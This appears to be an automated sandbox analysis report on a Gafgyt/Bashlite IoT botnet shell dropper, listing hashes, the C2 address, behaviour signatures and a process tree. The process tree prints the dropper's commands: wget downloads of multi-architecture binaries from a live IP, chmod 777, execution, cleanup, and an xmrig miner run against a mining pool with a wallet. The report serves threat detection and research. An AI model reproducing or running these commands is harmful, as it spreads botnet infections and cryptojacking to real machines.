Analysis
-
max time kernel
95s -
max time network
128s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
-
submitted
09-11-2024 04:09
General
-
Target
tyo2831qq.sh
-
Size
1KB
-
MD5
e12d6a1166c4e290ed4ba39f96c780ad
-
SHA1
57038253b27c0312102758d25a77b5d1859cba3e
-
SHA256
5f52ba20358d35d9705d4893c2e28bf333f9920d13053b21352be4a1fa6c8199
-
SHA512
276aabcf2037ad435a105ded3f3bfb8491fb391d5e1d49942d41774807c3f0b4e15d1ed18a57f0d783cd9aafee3ce1a96e561d3ee6da02b5d6c51fc579bb91ee
Score
10/10
Malware Config
Extracted
Family
gafgyt
C2
31.172.80.237:706
Signatures
-
Detected Gafgyt variant 2 IoCs
-
Gafgyt family
-
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
-
File and Directory Permissions Modification 1 TTPs 10 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 43 IoCs
-
Creates/modifies Cron job 1 TTPs 42 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
-
Writes file to system bin folder 1 IoCs
-
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Reads runtime system information 43 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 52 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/tyo2831qq.sh/tmp/tyo2831qq.sh1⤵
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 tyo2831qq.mips2⤵
- File and Directory Permissions Modification
-
-
/tmp/tyo2831qq.mips./tyo2831qq.mips2⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget http://31.172.80.237/bots2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 bots2⤵
- File and Directory Permissions Modification
-
-
/tmp/bots./bots2⤵
- Executes dropped EXE
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.mpsl2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 tyo2831qq.mpsl2⤵
- File and Directory Permissions Modification
-
-
/tmp/tyo2831qq.mpsl./tyo2831qq.mpsl2⤵
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.sh42⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 tyo2831qq.sh42⤵
- File and Directory Permissions Modification
-
-
/tmp/tyo2831qq.sh4./tyo2831qq.sh42⤵
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.x862⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 tyo2831qq.x862⤵
- File and Directory Permissions Modification
-
-
/tmp/tyo2831qq.x86./tyo2831qq.x862⤵
- Creates/modifies Cron job
- Writes file to system bin folder
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileibWhol./tyo2831qq.x863⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filebGBbym./tyo2831qq.x864⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filedQZH4W./tyo2831qq.x865⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileIZmINp./tyo2831qq.x866⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileyOeFL0./tyo2831qq.x867⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filelEGrRt./tyo2831qq.x868⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileNiUUx5./tyo2831qq.x869⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file2WqZIz./tyo2831qq.x8610⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileD5R9Xa./tyo2831qq.x8611⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileGhyk4A./tyo2831qq.x8612⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filel8AkDc./tyo2831qq.x8613⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileCSmOoG./tyo2831qq.x8614⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileVJaGhi./tyo2831qq.x8615⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileGF37SJ./tyo2831qq.x8616⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileoIRPGl./tyo2831qq.x8617⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileoAru1O./tyo2831qq.x8618⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileDaBA4r./tyo2831qq.x8619⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filedLbafW./tyo2831qq.x8620⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file3O8iBx./tyo2831qq.x8621⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileAOvPk1./tyo2831qq.x8622⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileCwJsFC./tyo2831qq.x8623⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileyEYfs5./tyo2831qq.x8624⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileueaHmH./tyo2831qq.x8625⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileH1vC07./tyo2831qq.x8626⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filem6VSkI./tyo2831qq.x8627⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileh2Azrd./tyo2831qq.x8628⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filexXoNQO./tyo2831qq.x8629⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileOf8Bu8./tyo2831qq.x8630⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file4hnC0J./tyo2831qq.x8631⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileI7IdvX./tyo2831qq.x8632⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileQoM44m./tyo2831qq.x8633⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileLoiThM./tyo2831qq.x8634⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileUnYIGZ./tyo2831qq.x8635⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filevfTFbq./tyo2831qq.x8636⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file3rmi0O./tyo2831qq.x8637⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filedOlYi6./tyo2831qq.x8638⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileFw29Lt./tyo2831qq.x8639⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.arm62⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 tyo2831qq.arm62⤵
- File and Directory Permissions Modification
-
-
/tmp/tyo2831qq.arm6./tyo2831qq.arm62⤵
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.x322⤵
-
-
/bin/chmodchmod 777 tyo2831qq.i5862⤵
- File and Directory Permissions Modification
-
-
/tmp/tyo2831qq.i586./tyo2831qq.i5862⤵
- Reads system routing table
- Reads system network configuration
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.m68k2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 tyo2831qq.m68k2⤵
- File and Directory Permissions Modification
-
-
/tmp/tyo2831qq.m68k./tyo2831qq.m68k2⤵
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.spc2⤵
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.arm42⤵
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.arm72⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 tyo2831qq.arm72⤵
- File and Directory Permissions Modification
-
-
/tmp/tyo2831qq.arm7./tyo2831qq.arm72⤵
-
-
/usr/bin/wgetwget http://31.172.80.237/tyo2831qq.arm52⤵
-
-
/bin/rmrm -rf tyo2831qq.arm6 tyo2831qq.arm7 tyo2831qq.i586 tyo2831qq.m68k tyo2831qq.mips tyo2831qq.mpsl tyo2831qq.ppc tyo2831qq.sh tyo2831qq.sh4 tyo2831qq.x32 tyo2831qq.x862⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget https://github.com/m3Mastika/Dockerfile/raw/refs/heads/main/xmrig2⤵
-
-
/bin/chmodchmod 777 xmrig2⤵
- File and Directory Permissions Modification
-
-
/tmp/xmrig./xmrig --url pool.hashvault.pro:80 --user 48mn9hwNxkfjYAppkEaghU1pRbaThMVmnFHuQT44TTDRLLaUsDNCyWDStDZ5DjUqyLaiaywMirbPp1y1zPiVgCeV35ENMV7 --pass bos -B2⤵
-
-
/tmp/fileyKTYD6./tyo2831qq.x861⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filenm6bft./tyo2831qq.x862⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileJtGkIU./tyo2831qq.x863⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileouKtFj./tyo2831qq.x864⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filewTNYwB./tyo2831qq.x865⤵
- Executes dropped EXE
- Reads runtime system information
- Writes file to tmp directory
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
92B
MD53f006f7f81fc17be7f4a0d3da0fad5de
SHA197a94d3d0654c6551057af3809b52572bd7f9f5d
SHA256982f9e0f089b91ba79df723435099df15c72e1201a45010ee60226ab136c93bf
SHA51297d2ac0057427b940ada7c0fc805c1966e2535c3c3767ca85fef4a7e0fdc9d4ef9eb133530408b1e439df067881cb317e948ad9bfd487e958a04c97d9db978e0
-
Filesize
16KB
MD52615e32f9e7b42b36ba1f3dd6f8f7e3c
SHA14286d999a1a76da1e68cb227e01de237ef5fcf68
SHA256e9bc9d0324b4943e9a9419c9be202331efe86a055768286b45a6ff80eb172078
SHA512b9e21c618c03d111405f5d0e33d08a9bbe37ec6361773f02fde806a2cd784355cc43c64bce22ceeabc2a2e69f277989a26501085c6df725b8bccd9b52ce4ff78
-
Filesize
25KB
MD5b0f19b181c8d6961d1fed5bda4def843
SHA16e00805b0e6204b1d0c249550567a385e2835226
SHA256f4893c325586305fa20901ae1fa6059cc0fac29c57e915a2c6f79c99bb9b9bf7
SHA512997cec78ea201ea7aafc17178dad49193832807971e2f56cbed487a17f1fb287f585f1022613e32ac70c0eac89ca9c253e4e860a2aa23589dc733fe8f8c94e9a
-
Filesize
156KB
MD5a8a6992775589faecef1bc8cf38bdfc5
SHA1b6903301aecf34539654f309b8c12773461920dc
SHA256cae053bfac71081a19bd64ae66f3fc9a149bcbe492eeb46d33647e01ab18eb52
SHA512dd803894a1bb9caa2bb4d1da70d35a531a7f76718d23392ff7ee511f489f413f2c79e82a3d7432685a36f470b69c74d211d18d050bee1a5d261c75131ee58fb8
-
Filesize
164KB
MD54ac062e7bafef554949de20763c54f7b
SHA124355a299d9aca3953a9fac256cdaf7be0249fda
SHA25633368eb166229b262cb964cfa6412478278b2a23e5f0c3de24a56c28dac5eeb0
SHA512b12f82c346dbe62b6a96e7c9d3185eb2fdca9cc29ba83e29a102fd746c93d72d919d8146840ab9338dc8a25a7fb2b400a0cd9d0ac2ea5a0471d283f81d115bb9